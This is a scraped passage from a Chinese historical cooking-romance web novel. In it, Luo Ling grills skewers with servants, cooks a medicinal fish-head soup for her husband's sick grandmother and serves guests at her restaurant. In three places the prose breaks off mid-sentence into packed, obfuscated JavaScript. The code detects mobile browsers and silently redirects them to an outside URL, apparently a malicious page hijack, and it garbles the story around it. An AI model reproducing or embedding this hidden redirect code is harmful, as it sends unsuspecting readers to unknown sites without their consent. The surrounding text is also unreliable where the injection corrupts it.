须臾，四人提着铜壶就来了，还怪有心的，另烧了个小炉来温着水。 阿香低头斟茶：“夫人请用。” 罗姈抿了一口就放下，直直递了个肉串过去：“茶不错，赏你的。” 阿香一怔，连连摆手。 罗姈只好递得更近，用眼神告诉她，可以吃，没关系。 阿香偷偷咽了口口水，心中告诉自己，这是主子赏赐，不能不接，才终于说服了自己，犹豫着接下了肉串。 学着罗姈的模样，大口扯下一块豚肉，舌尖方接触上，混合着的咸香与热辣就击中了她，一切滋味都恰到好处，脑子里就只剩下两个字——绝了！ 明明尝得出就是常规调料，可滋味就是格外香，难道说是因这般炙烤的缘故？ 阿山他们在后头瞧着都羡慕极了，是以小春将肉串分给他们时，个个手比脑子还快。 “都放心吃吧，若是将军怪罪，我担着。”罗姈宽慰。 既然吃了第一个，那便有第二个，后来干脆又搬来四个矮凳，热闹地围坐在一起。 阿山阿海穿串儿，阿香烤香蕈，阿莲烤年糕，小春烤肉，罗姈指导，分工明确，各司其职。 香蕈和年糕是早就放在架子上的，已经差不多烤好了，罗姈分给他们四人尝鲜。 经过这一会儿大家都知道罗姈是个极好的主子，便也不拘着，放肆吃了。 棕灰的香蕈染上烟熏火燎的烙印，变得那么柔软可爱，肥嘟嘟，颤巍巍，像肉一样饱满，却有肉没有的特殊香气，一口下去汁水充盈齿间，那是泥土与大地的味道，清新又甘甜。 “要我说，这香蕈比肉还要好吃，从前怎么没觉得呢，夫人您真是太有本事了。”阿海不禁道。 “香蕈好吃，不过要说这山珍中最好吃的，当属松蕈。”边吃着，罗姈开始勾引大家的馋虫。 “松蕈？”阿山阿海，阿莲阿香齐望着，求知若渴。 罗姈怡然道：“也是香蕈的一种，它只有在夏秋之交的雨后，还要在山林里的松树底下才找得到。澄黄靓丽，肉厚且香，跟一般的香蕈还有点不同，口感带点脆生，有点像……鳆鱼。” 众人听得津津有味。 “遇上了千万要挑个儿小的，越小越有滋味。”说着说着罗姈把自己都给说馋了，“清炒也好，炖熏腊更是一绝，混着油脂，甭提有多香了。” 当然，为了不影响大家的食欲，她也就没提松蕈因特殊的生长条件，吸收枯枝败叶长大，是以底下全是腐虫…… 听罗姈说完，一点儿香蕈早就被瓜分殆尽，于是众人不约而同地抢起年糕。 年糕被罗姈压成扁扁的长条，据说这样烤受热均匀，脆皮面最大。 实践后果然不错，焦脆的表皮与粘糯的内里在口中纠缠，米香浓郁，即使不沾调料只吃本味也是极好。 “若是能有蜜糖就好了，薄薄地刷一层，不知多香……”罗姈支着下巴畅想。 “这年糕还可以沾蜜糖吃吗？”阿莲问，两眼亮晶晶的。 罗姈点头：“当然，甜的也行，辣的也行。” 阿海马上道：“蜜糖咱们小厨房没有，府里的大厨房有啊。” “这……”罗姈小心道，“我能拿？” 毕竟她也算是寄人篱下，可以随心所欲？ 一直默默撸串的阿山站起来：“我去讨要。” 未几，阿山回来了，左手提了个桶，右手挂了个篮，揣得满满当当，步履艰难。 众人迎上去解救他，罗姈疑惑：“不就是拿罐蜜糖吗，怎么带回来这么多东西？” 阿山挠挠头：“在大厨房遇上了管家，听说夫人做菜缺东西，一股脑塞给我的。” 指了指桶：“刚捞的河鱼，”又指了指篮，“庄子里送来的芋头、洋芋、新鲜韭菜。” 罗姈瞧了瞧，确实不错，尤其是这韭菜，水灵灵的。 大手一挥：“统统洗了，咱们今日炙个尽兴。” 阿山又从篮子里摸出两个特别精致的异域小罐：“夫人，管家问您缺调料，孜然和茴香要不要？” 什么？! “还有孜然和茴香？”罗姈的眼睛一下子就瞪大了，要知道这俩玩意儿在古代的稀缺程度也就是胡椒能与之相较了。 阿海他们不以为奇：“阿郎在边境打仗，府里西戎的好东西不少。” 阿山点点头：“管家还说夫人且用着，明日将胡椒找到也一并送来。” 乖乖，这些东西她都能随意取用？ 阿香安排罗姈坐下：“夫人安心，阿郎吩咐过了，您想做什么，想要什么，尽管开口。” 这么说那她可就不客气了，罗姈叫来小春：“再把那羊肉切了，今个儿让你们尝尝正宗羊肉串！” “羊肉……给我们吃？”阿海他们都蒙了。 羊乃贵品，非贵人不能食也。 阿莲忙道：“夫人这可使不得，与主子同食本就坏了规矩，份例皆有定数，我们怎能……” 罗姈打断：“不打紧，我请你们吃，算我私人贴补，你们多学学小春，她就是跟着我吃圆的。” “娘子！”小春气得直跺脚，鼓鼓的双颊格外有说服力。 “快去，都把菜弄好去，再耽误火都要熄了，”罗姈催促，“那芋头和洋芋别洗别切，咱们最后用炭火煨着吃。” 虽是这样说了，四个下人仍是战战兢兢。 直到罗姈将羊肉串硬塞到他们手里，他们都不敢吃。 然而这羊肉串实在是太香了，馋得人津液止不住的往上泌。 在罗姈的再三催促下，最后还是胆子最大的阿香，耐不住勾引，轻轻咬了一小口。 唔！她的五官明显雀跃起来。 甚至不由地闭上了眼睛，感受每一丝肉汁在口腔里徜徉。 羊味虽大，可经过香料的托举，变得厚重丰腴。每一口都能明显嚼到香料的颗粒，那迷离的风味，轻纱般拂过心坎。 经此一串，即使相距千里也足以窥见神秘的沙都风情。 有人带头，其他人便也安心用了。 罗姈看见他们满足喟叹，简直比自己吃上还要开心。 就这会子没注意的功夫，一阵小风倏地扫过，火借风力一下子蹿了起来，把架子上正烤着的羊肉给点着了。 好容易弄灭了，反面全都烧糊了。 罗姈削了一块羊肉自己尝了尝，呸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493138|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，没法吃，白瞎她这么昂贵的调料了。 然而她刚吐到地上，身前突然窜来一个黑影。 罗姈眼疾手快把它后脖颈一拎：“不行！小猫不可以吃！” 东狸轻声喵喵，朝她卖弄可怜。 罗姈示意小春把剩的活鱼拿来，喂到它嘴边，东狸却嫌弃拍开，一个劲儿地嗅洒满香料的肉串，罗姈掂了掂，疑惑：“东狸怎么胖了这许多？” 不是才从易礼那儿接来没几天么，这小肚腩长得…… 罗姈又摇了摇，发现它一肚子水，问：“你们一日给它吃几顿？” 阿海骄傲道：“它一日能吃五顿，阿郎说要好生照料着，小的们不敢怠慢。” “你们喂它吃了什么？”罗姈检查了东狸的泪痕，凝重道。 阿香抢答：“它喜欢吃烧鱼。” “喂的平常吃食？”罗姈眉头紧皱，声音不自觉严肃。 这下都听出罗姈语气不对了，阿香讷讷道：“猫不能吃鱼吗？” 猫当然能吃鱼，只是人用的饭食重油重盐，猫儿却不能克化，长此以往要得病的。 不知者无罪，也不能全怪他们，罗姈只怨自己这几日太忙，没上心。 她缓和了语气：“以后莫要给东狸喂烹制过的饭食了，一顿一条小鱼即可，不要喂太多。” “奴婢省得了。”众人屈膝行礼。 拿绢子拭了东狸的泪痕，罗姈把它抱在怀里招呼大家继续吃，可大家明显拘束了起来。 罗姈微微一叹：“你们莫怕，我非是要怪罪你们。” 虽是这样说了，可哪有下人听训不畏主子的。 阿莲四人缩手缩脚，一个个鹌鹑似的架在凳子上，再没了方才的活泼热闹。 一旁小春将绿油油的嫩韭铺地整整齐齐，尔后把油刷递给罗姈：“娘子，我累了，你来刷吧。” 罗姈自然接手干活，小春朝阿莲他们眨眨眼睛：“娘子是我见过最和善的主子了，你们要是不信，尽可像我一样，使唤她一回。” 罗姈作势要打，小春大呼小叫：“你们瞧，她原形毕露了！” 这下子逗得大家哈哈大笑，气氛复又放松下来。 夜中寂静，木炭哔剥与欢声笑语都是那么响亮…… 一夜过去，罗姈晨起再遇上院子里下人，他们不再木愣愣地站在原地，而是主动小跑到罗姈跟前笑着见礼。 与府里的人骤然亲近不少，罗姈心情愉悦，走路都带风。 然而走着走着，偏巧在前头瞧见一个熟悉的、挺括的身形。 念着开业贺礼的事儿，罗姈觉着自己该要主动道个谢。 于是她走上前直接道明来意。 顾承禾听完面无表情，十分严肃：“去百味坊吗？同路，我送你。” 罗姈：“……” 她能拒绝吗？ 百味坊新址在长乐街，离将军府所在的崇义巷不远，抄近路不要一刻，他驾马车走大道，活活要多绕一圈，还没她步行快…… 上了车，罗姈愈发后悔，跟顾承禾共处一室简直跟住进了冰窖似的，根本没话好讲。 长久的沉默后，顾承禾嗫嚅开口：“罗娘子……” 他顿了顿，终于组织好话头：“家中祖母昨日精神好了些，念起了你。所以……能不能请你去看望一下老人家。” 哎呦！她给忘了，顾家还有个卧病在床的老太太呢。 也不知他家长辈好不好相与，想来养出顾承禾这么个冷肚肠，恐怕很是严厉。 不过无论如何她都应前去探望。 “自是应当，是我疏忽了。” 罗姈抬眼，只见对面冷硬的侧脸骤然柔和，眉目舒朗，语气也松泛了。 “多谢。” 悬壁开花，然而还是惜字如金。 沉默一路，终于挨到了百味坊，罗姈忙不迭跳下车，然而顾承禾也跟着下来了。 他把包裹递出去：“你忘了拿。” 嗐她这个脑子，丢三落四的。 这里头装的她新配置的调料呢，要是没带，今儿开张还真是麻烦了。 罗姈接下正要道谢，不远处有人叫她—— “罗掌柜？” 然后更大的一声—— “顾将军？” 回首一看，是国子监的许博士带着一众同僚捧场来了。 临近元日，国子监的博士监生们都放了假，个个得闲，听许博士说长乐街新开了家食肆，既风雅又美味，众人心中好奇，一应都来瞧瞧。 其中不乏头脑机敏之人，联系起近日罗相府与顾将军家结亲，偏就这么巧，这家食店掌柜也姓罗？还与顾将军如此亲昵？ 那岂不是…… 只有许博士还傻愣愣问：“顾将军也来用饭？” 顾承禾记得他，似与易礼走得近：“非也，送夫人来。” 夫人？ 许博士看看罗姈，又看看顾承禾，脑子有些转不过来了…… 一看身后那群人澎湃的眼神，罗姈暗道不好。 完了，这么早就暴露了，这顾承禾！她就说还不如自己走吧！ 13. 芎芷鱼头 早知身份瞒不了多久，可未曾想泄露得这样快。 果不其然，一晓得她是罗正松之女，无论做什么饭食，都有人吹捧得天上有地上无。 一些明明全然食不得辣，被爆炒鸡杂呛个不停，憋着泪也咽下去两大碗。不管席面耗费，拼命上赶着给她送钱，想在罗姈面前存个印象。 当然也有譬如许博士那样的清流之辈，自然流露出对饭食的喜爱，待她如常。 但纷繁复杂的心思太多，实在难以看清真心。 今日的饭食做得不开心，这奉承话罗姈是一句也不想听了，她累得很，于是早早打了烊。 回到顾家，罗姈猛然想起还要去拜见顾老夫人。 碰巧遇上来送胡椒的管家，由管家领着到了老夫人的院落。 一进门，就有股子缠绵的药味。 管家通报回来：“夫人，老夫人今儿个精神不错，在后院晒太阳呢。” 罗姈便又再去寻，经过抄手游廊到了开阔地，苦味总算是消散了些。 远远瞧着一位六十余岁的老妇人正安安静静地坐在轮椅上吃茶，脊背挺立，发髻梳得一丝不苟，身边垂首立着一位气质不俗的仆妇。 罗姈心中暗自揣度：传闻顾老夫人病得极重，看样子是谣传嘛。 “孙媳罗姈，拜见祖母。” 然而一接上面，罗姈悚然一惊，顾老夫人却是瘦骨伶仃，一脸病容。 背影瞧着精气十足，怎么转了身，全然变了副模样。 老夫人缓慢吐出虚弱的音节：“……三娘？” 想来顾承禾事先都交代清楚了，罗姈走上前去，柔顺地半蹲下：“祖母。” 身边的仆妇极有眼力地搬来凳子，罗姈颔首：“多谢刘姑姑。” 顾老夫人身边这位仆妇不同于一般奴婢，她出身禁宫，早年还在太后身边任过女官，顾府上下颇为敬重，都尊称一声刘姑姑。 就是性子和顾承禾如出一辙的冷肃，辈分又高，罗姈头回打交道，难免生怯。 老夫人枯槁的手轻抚：“好孩子……”声音有气无力，但对着罗姈的脸总是慈祥带笑，与她心中构想的形象很是不同。 罗姈陪着絮絮说了会子话，刘姑姑端来一碗漆黑的药汁：“老夫人，该吃药了。” 方才还很慈爱的顾老夫人突然顽抗起来，孩子般噘嘴嫌弃：“不吃！” 难为刘姑姑冷着一张脸哄人：“少夫人还看着呢，您怎么又耍性子。” 顾老夫人自嘲：“这药吃了这么些年也没用，少吃一顿死不了。” “祖母是什么病症？”罗姈小心翼翼问。 刘姑姑叹气：“气血不和，湿邪入里，一到那潮湿天，骨头便如针蛰一般。” 顾老夫人：“你们成婚那日我这个作长辈的应当观礼才是，可惜我这老骨头不争气，下不了地。” “那日雪太大了……连着遭了好些天的罪。”刘姑姑眼里满是心疼。 罗姈忙摆手：“应是我们作小辈主动拜见才是，祖母不怪三娘已是恩德。” “店里太忙了，承禾公务也忙，日后得闲三娘便来陪祖母说话，祖母不要嫌我吵闹。”罗姈前世就是奶奶养大的，与隔辈亲得很。 这辈子与顾老夫人虽是初见，却意外投契。 “开店？”顾老夫人十分有兴趣，“三娘在做什么营生？” “开了家食店，名叫百味坊，您身子若是好些了，我领您去瞧瞧？” 刘姑姑心中记挂，忍不住插言：“老夫人，再不喝药就要凉了。” 话扯远了，罗姈乖觉噤声，主动伺候用药，然顾老夫人还是闹着不肯喝。 刘姑姑眉头紧皱：“药也不喝，饭也不吃，如何使得？” 难怪老太太如此瘦削，罗姈问：“怎么连饭也不吃？” 顾老夫人撇嘴：“这舌头都腌成苦参了，咂摸什么都一个味儿。” 最后罗姈离开之时还是未能说动老夫人服药，刘姑姑愁眉不解，罗姈拨了拨鬓发，大着胆子请刘姑姑借一步说话。 “祖母常是如此吗？可不能任由她断药。” “犯病时配合些，今日日头好，身子也受得，就爱闹脾气。”刘姑姑无奈道。 这些年都是这么数着日子熬过来的，刘姑姑都习惯了。 罗姈出主意：“万物均为药，万物均为食。祖母实在不肯吃药，不若食补看看？”看着顾老夫人病恹恹的，她便想到自己前世的奶奶。 “饮食不利，奴婢亦劝不动。”刘姑姑叹气。 罗姈想了想，提了个法子：“要不……明日祖母的暮食我来做？” 第二日罗姈还是照常去了百味坊，她的身份彻底传扬出去了，来的食客多得可怕，差点踏破百味坊的门槛。 这么多人，莫说用饭，就是站都站不下。 没法子，罗姈让他们出去排队，只做十桌席面，结果又因名额太少争得头破血流。 实在抉不出来又只好改抽签，才勉强控制住局面。 不过罗姈也放了话，想从她这里找门路的趁早绝了心思。 如此，想来总会消停些。 申时二刻回到顾家，罗姈将从市场上买的新鲜鲢鱼丢给小春收拾，自个儿去库房挑了些川芎和白芷。 顾老夫人常年病着，府里药材总是不缺。 她各取了二钱回去，预备炖一道药膳——芎芷鱼头。 顾老夫人痹症严重，食欲不济，且据刘姑姑说年轻时嘴巴就挑，忌口不少，很难伺候。 从前做博主时罗姈对食疗也有些兴趣，她回去一琢磨，那便没有比这道芎芷鱼头更合适的菜肴了。 白芷祛风止痛，川芎活血行气，正应风痹。鱼头鲜香味美，仅需与之轻调炖煮，便得一份对症的美味佳肴。 罗姈带着炖好的鱼头汤过去，正听到顾老夫人向刘姑姑抱怨：“千钵一味，尝与不尝又有何分别？叫厨房不必上了。” 罗姈扬声：“祖母——” 放下食盒，罗姈抚了抚衣裙，在床边圆凳坐下，拉着顾老夫人的手道：“晓得您乏味，孙媳自作主张承了您的暮食，您尝都不尝就要退了，好伤人心啊。” 罗姈撒娇卖乖，哄得老夫人高兴：“今儿个暮食是你做的？” 见势罗姈立马挥手让刘姑姑将鱼汤盛来。 顾老夫人很给面子，虽然闻到药味，但心想着是孙媳孝心，也不用人催，当即痛快吃了。 暖呼呼的鱼汤一入喉就给四肢百骸带来一阵热意，不是温度，而是一种热气，从心底升腾起来，仿佛还在催促她再补一些。 又像在舌尖挂了把钩子，牢牢勾着她又用一匙。 “这是什么汤？”顾老夫人意犹未尽。 “芎芷鱼头汤。”罗姈让刘姑姑将鱼头盛来，“您得多吃肉。” 看见半个鱼脑袋就这么躺在碗里，顾老夫人忍不住暗自皱眉。 老夫人终于肯用饭，刘姑姑欣喜不已，眼梢都舒缓下来，她对老夫人是再了解不过，也规劝着：“少夫人好手艺，您尝尝。” 顾老夫人轻轻挑了一筷子，小口小口一点点抿着骨边肉。 看着骇人，吃着倒与寻常鱼肉无甚分别，味儿很浅，吃起来极为适口。 也不知三娘这孩子是怎么做的，看着没放什么奇料，一点薄盐就鲜得丝丝入扣。肉也炖得烂糊，肥嫩柔软，丝毫不腻。 虽然里头也搁了烦腻的中药，但总算不苦口，还挺受用。 眼见着老夫人吃得香，罗姈高兴，连刘姑姑都解颐一笑。 一会儿功夫竟喝了小半锅，她已经有小半年没吃得这么饱了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501616|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不知是不是错觉，她觉得自己浑身上下都充上了劲儿。 不止老夫人自己觉着，刘姑姑也道：“好好用饭，您瞧着气色都好了。” “若不是熏笼烧得太热，那便是这药膳起作用了。”罗姈笑道，“安身之本，必资于食[1]。祖母您要是好好吃饭，以后便能少吃药了。” 说完转向刘姑姑，“这食方子我一会儿写给您，还有其他药膳，容我找大夫探讨探讨再拟一批，好好给祖母养养身子。” “少夫人有心。”刘姑姑感激不已。 顾老夫人越瞧罗姈越欢喜，她转向刘姑姑炫耀：“瞧见没，自打三娘来了，这日头都变好了。” 她们晌午还说呢，打罗姈嫁到顾家，这雪也散了风也消了，日日都是舒心的晴天，三娘是顾家的福星呢。 随后朝罗姈招招手：“这么好的日头不能浪费了，三娘扶我去晒晒太阳。” 刘姑姑推来轮椅，罗姈一搀，心里一惊，隔着厚厚的水獭皮褂子，她都摸到老夫人肘臂上硕大的肿块，那么细瘦的骨头，该有多受罪。 暖阳犹在，院中辉光笼罩，罗姈陪着说话，忍不住问：“您这痹病如何得来的呀？” 顾老夫人理应养尊处优，老了至多也就是个富贵病，怎会害了风痹这样的劳碌病？ “这……就说来话长了。”顾老夫人给刘姑姑传了个眼神，刘姑姑会意，将正打理院子的丫鬟小厮清了个干净。 老夫人用厚厚的手茧摩挲着罗姈仍娇嫩的皮肤，透过她黑亮的瞳眸，回望自己的芳华。 “想当年……” 听完故事，罗姈心中激荡不已。 原来坐在自己面前的垂暮老人，竟是当代花木兰！ 女扮男装，混入军营上阵杀敌，立下赫赫战功。 戎马数载，直至伤重才退了下来，尔后便结束了这段峥嵘岁月，从此伤病缠身…… “那时候冰河泅渡受了寒，便落下了病根儿。”顾老夫人挥挥手打趣，“刀枪剑戟阎王爷不收，却叫湿寒鬼缠了我半辈子。” “阎王爷不敢收，日后湿寒鬼也勿近！”罗姈倚着顾老夫人，眼里满是崇拜。 顾承禾一脚踏进斜阳里，看见的就是这副景象。 一日不见，亲生孙儿似乎掉了个个儿？ “祖母。”顾承禾规规矩矩请了安，被顾老夫人拉着一并坐下。 然而闲话没说多久，就开始“问罪”—— “听三娘说你公务多，都见不着面儿？”顾老夫人语气锐利。 也不知这孩子怎么生的，半点不随他祖父风趣幽默，更不像他阿爹体贴冷暖，这么大个人了还要她提点。 顾承禾偏头瞥罗姈一眼：“年底事忙。” 天爷，她只是随口说说而已，怎么到了老夫人嘴里成怨妇告状了？ 罗姈面皮僵直，神情都有瞬间扭曲。 “你这孩子怎么这么不晓事，成了婚的人了，得多顾着家里。三娘是个好孩子，亦是人家的掌中琉珠，你可不能枉待她。”顾老夫人一面说，一面将两人的手拉拢到一起。 触上女儿家细嫩的皮肤，顾承禾有口难言，俊俏的面庞憋出一抹绯色。 说了许久的话，精力也有些散了，顾老夫人挑重点说：“你也老大不小了，原先是耽误了，现在得抓紧赶上才是，趁我这把老骨头还在，抓紧生个曾孙。” 原来是为着这茬儿，罗姈眼角抽搐。 “我们……”顾承禾语塞，搜肠刮肚也没编出个像样的理由，只能又往回咽。 “怎么？”顾老夫人眉头一拧，语气不善。 见势不妙，罗姈接过话头：“我们努力。” 她微微一笑，看向顾承禾的目光柔情百转：“祖母放心，我回头就给他好好补补。” 顾承禾：？？？ 14. 炙羊腿与火锅 翌日休沐，顾承禾无事，便在书房里阅书。 他性子静，一坐就是大半时辰。习完兵法，转身在书架子上挑拣，又抽了一册史集阅览。 看到一半，外头忽然一阵喧哗。 虽吵闹，但顾承禾并未受影响，径自沉心以对，世界很快复又安静下来。 然未过多时，外边的吵嚷声渐近，变着法儿地钻进他耳朵里，正当他不耐之时，不一会儿又平息了下来。 挥走烦扰，顾承禾努力使自己静下心来。 只是还未撑过半柱香，那些叽叽喳喳又开始不绝于耳。 如此反复，惹得人心乱如麻。 他的院子从来都是安安静静的，顾承禾眉峰微蹙，敲了敲大案，叫醒正打盹的顾钊，顾钊立刻会意：“搅扰阿郎清安了？我去看看。” 不一会儿，顾钊回来了，敛气屏声：“夫人回来了。” 抬头探看顾承禾的脸色：“外头……夫人带着阿莲阿香她们晒腊肠呢……” 晒腊肠？在他的院子里晒腊肠？ 顾承禾眉毛都拧成个结，当即放下书，跨步而出。 推开门，冷风拂面，果然有股熏腊味。 他站在廊下，眼睁睁看着罗姈领着下人们亲手搭架子，挂腊肠，晒腊蹄，铺晾杂粮，占领了整圈院子。 指挥完这边，又指挥那边，像个小蝴蝶似的飞来飞去。 这哪还像个公府人家，活脱脱成了市井杂院了。 顾承禾默默看了一会儿，又转身回去。 顾钊跟在屁股后头看不懂了：“阿郎若是心烦，要不小的去跟夫人说一声？” “不必了，由她去。”声音冷冷淡淡。 当初既然承诺了这院子归她，后悔也来不及了。 习字静心，顾承禾在书案后的柜子里翻出一沓经久不用的法帖临摹起来。 擫押钩格抵，拿剑久了，拿笔倒还生疏了。 顾承禾认真拾起幼学，一点一点地沉浸下来。 立心为障，终于再也听不见外界的任何纷扰。 不知时间流逝，直到…… 鼻尖传来一阵浓烈的荤香。 顾承禾封闭五感的功夫修炼得不到位，还是被破了功。 也是该用暮食了，顾承禾放下笔，抬眼就见顾钊巴巴望着窗外，一副没出息的馋样儿。 罗姈她又在搞什么？ 顾承禾推开门登时顿在原地，这才一个时辰的功夫，他的院子显然易主得很彻底。 外圈晒粮，里圈做饭，占了个满满当当。 顾承禾负手远眺—— 中轴线以东是炙肉区，硕大的羊腿架在烤架上，金黄热烈，滋滋冒油，那无孔不入的荤香就是它散布的。 中轴线以西是炖锅区，长桌上分置两个铜炉，一个清油锅子，一个香蕈锅子，咕嘟咕嘟不遗余力地冒着热气。 桌上更是摆满了菜蔬，冬瓜水灵，芫荽青碧，鹌子蛋可爱……诸多食材摆满了长桌，一道接着一道，令人目不暇接。 似乎只要是她所行之处，总是这般百味纷呈。 顾承禾微叹，从墙角绕出，正撞上罗姈在向丫鬟们传授美食经—— “阿香我跟你讲，这个鸭肠你一会儿不能烫太久，汆熟了一打卷就要捞上来，吃得就是一个脆嫩。” “还有那个豚肉片，切薄些，越薄越好，放到辣锅里，进味。” …… 罗姈滔滔不绝，浑然未觉有人在窃墙角。 顾承禾握拳清咳，她才恍然回首：“顾将军？” “你什么时候回来的，我竟没发觉。” 顾承禾：“……” 他今日压根就没出门。 “回来的正是时候，我们正张罗暮食，将军可要一道？”罗姈今日心情好，见谁都带三分笑，看顾承禾也顺眼起来。 不得不承认，她这便宜夫君即使性子不讨喜，模子生得倒是招人。 身量颀长，端严有威，只是站在那儿，就如冬雪青松，冷冽摄人。 “不必了。” 然人如其面，依旧拒人千里。 罗姈不知贴了多少回冷屁股，早已不以为意，她嘴角轻勾，完美诠释了有时微笑只是一种礼貌：“将军事忙，是三娘叨扰了。” 说罢，只留下一个飘逸的背影。 回到书房，顾钊苦苦追问：“夫人做了这么好吃的暮食，阿郎缘何不应？” 顾承禾眉目深敛，冷冷吐出一个字：“吵。” 填个肚子罢了，有必要铺张那么大个阵仗？ 顾钊苦不堪言，您嫌热闹，我不嫌啊！ 夫人摆了那么一大桌，阿山阿海阿莲阿香他们都能吃上，偏就他吃不着！ “去大厨房取份暮食来，我自在书房用。”顾承禾吩咐。 顾钊奉命而出，他本就无比郁闷，途径那炙羊腿时，负责刷调料的阿海还偏招惹他。 “哎呀，夫人说这个茱萸酱啊要里里外外都抹上，一丝儿缝都不能漏，孜然和茴香更是不能吝惜，等烤得焦香，再给片了分食，人人都有份呢……” “说够没？”顾钊三两步走过去怒目而视，引得阿海哈哈取笑。 顾钊这家伙寻常跟着主子在外，什么好吃的没吃过？什么新鲜玩意儿没见过？一回来就同他们炫耀，这下可好了，今日也能轮到他们气着他了。 阿海愈说愈来劲儿，得意洋洋，逼地顾钊小跑逃开，才得一耳朵清净。 …… 未及，顾钊两手空空地回来了。 顾承禾皱眉：“暮食还未做好？” “呃……”顾钊唇角一抖，照实禀告，“回阿郎，大厨房没人。管家说夫人备了席面，叫了各院都去，便给厨子放了假。” 顾承禾：“……” 都没人通禀他一声吗？ 也是，谁叫这席面就在他自个儿院子里。 顾钊挠挠头：“要不阿郎您重新跟夫人叫个口？总不好饿肚子啊。” 顾承禾微叹，也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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推拒不成，章明达便道：“也罢，万大人既然坚持，那就一道用个午食？” 月底俸廪已经捉襟见肘，他正好省一笔。 二人登上同一架马车。 “去东市。”章明达吩咐车夫。 “连日拘在宫里，都没寻得机会出来打牙祭，真念燕云楼那辣炒鸡啊……”万闲以为章明达要去燕云楼，还道，“章大人莫要客气，届时想吃什么，尽管点。” “啧，我还不知今日能吃到什么呢。”章明达神秘一笑，“燕云楼不稀罕了，今儿带万大人尝个新鲜的。” 转而告知车夫：“去东市长乐街，百味坊。” 这地方怎么听着那么耳熟呢…… 直到落了地，万闲两眼死瞪着大门招牌才想起来，这不是那破落户开的食店么？ 15. 河鲜宴（上） 万闲前脚倒后脚退了两步，直撞上章明达：“这、这……” 章明达不由分说，顺势将他推进去：“走走走，再不及菜都凉了。” 穿行两重门，缭乱过眼云。 章明达一手搭肩，眉梢飞扬：“怎样，万大人？长乐街这家新食店可还看得过眼？” 万闲被新奇的装潢震在原地，曲径幽幽，豁然中开，他从未见过如此殊异的食店，宛如真的置身桃源。 还未给他说话的余地，章明达大摇大摆上前，熟稔递上代表限额的半截签子，倾身打听：“罗娘子今儿个又是什么讲究？” 闻铃清响，小春拭手迎客，抬眼正对上万闲那张大脸。 想起那诸般奚落，小春对这狗眼看人的货色挤不出丁点儿笑脸，连带着将章明达也冷落了，闷声不答他的话。 罗姈闻讯而来，笑意盈盈：“章大人今儿可是迟了啊，”见万闲亦不改色，像是从未有过龃龉，“原是带了贵客。” 只是这“贵客”二字咬得极重，拖地万闲心尖一颤。 章明达斜睨此情状，若有所思地转了转扳指，一撩袍子就盘坐于蒲团之上，一手相邀：“万大人，坐呀。” 事已至此，万闲只得硬着头皮陪坐。 “备菜去。”罗姈使了个眼神，撵着不甘不愿的小春去了后厨。 “本旬心选，”说着罗姈翻手将另一半签文拿出来合拢对上，“大人一览。” 章明达琢磨着念出全句：“‘一棹扁舟一淘鲜’？” “让在下猜猜……”章明达摸摸下巴，笑得意满，“罗娘子上次舞鸡，这次可是要弄鱼？” “这个嘛……您请好便是。”罗姈仍卖关子，端的是自信满满。 待人翩然离去，万闲马上拉住章明达试探：“这小店……章大人常来？” 章明达摇头。 万闲刚舒下一口气，就听见章明达扼腕叹息：“实在是运道不佳，抽签连连不中，就开业那日有幸尝过那么一回。” “要么说万大人是有福之人呢，头回就能进得来。” 万闲不信，面上鄙夷之色稍纵，迫不及待告密：“我与这些酒肆常打交道，章大人有所不知，这些商贾精得很，好多看着像模像样的脚店，都只做那开张生意，只请了一日的大厨撑场面罢。” “不若正店大师傅恒久的手艺，绝不会自砸招牌。” 言语间还是想去燕云楼。 “这家小店也是我偶然寻得，万大人可将心安放肚子里，每道菜都是那掌柜娘子亲自摆弄的，滋味非比寻常，花样也新鲜，绝不叫万大人失望。”章明达屁股坐得定定的，半分起来的意思都没有。 他又道：“去大酒楼可要耗不少贯，我也是为万大人省钱呐。” 话都说到这份上，万闲只有讪讪应了。 “也可……那点菜吧。”说着就要招呼罗姈。 “欸……”章明达虚拦一下，笑他不懂规矩，“万大人，这家可不设食单，讲究‘庖厨心选’，今儿掌柜娘子上什么咱们吃什么。” “那不是抓瞎吗？”万闲眉毛愈皱愈紧，实在觉得这家店子处处不合心意。 “哎没错，吃的就是一个抓瞎！”章明达勾唇，“不过也不是全瞎，每次抽的签文就是席面的主题，很有雅趣。” “上一旬叫‘不可与鸡知’，罗娘子做了一整张桌子的美鸡，这一旬叫‘一棹扁舟一淘鲜’，想来当是吃河鲜了。” 话音刚落，就听见刺啦一声，油锅仿佛在耳畔迸溅。 万闲失色道：“她就在这大堂里做？” 章明达怡然颔首：“罗娘子庖技高超，流水行云，很是悦目，你我安然一观便是。” 四目望去，热油像泉眼一般涌动着，罗姈勺柄一转，硕大一条河鱼便听话地在锅里翻滚，不一会儿便穿上一层华美的金缕衣。 在这金色最盛之时，将其捕捞上岸，浇筑上一大勺红榴似火的茄汁，末了再撒上秘制酥仁，这样，第一道松鼠鳜鱼便出锅了。 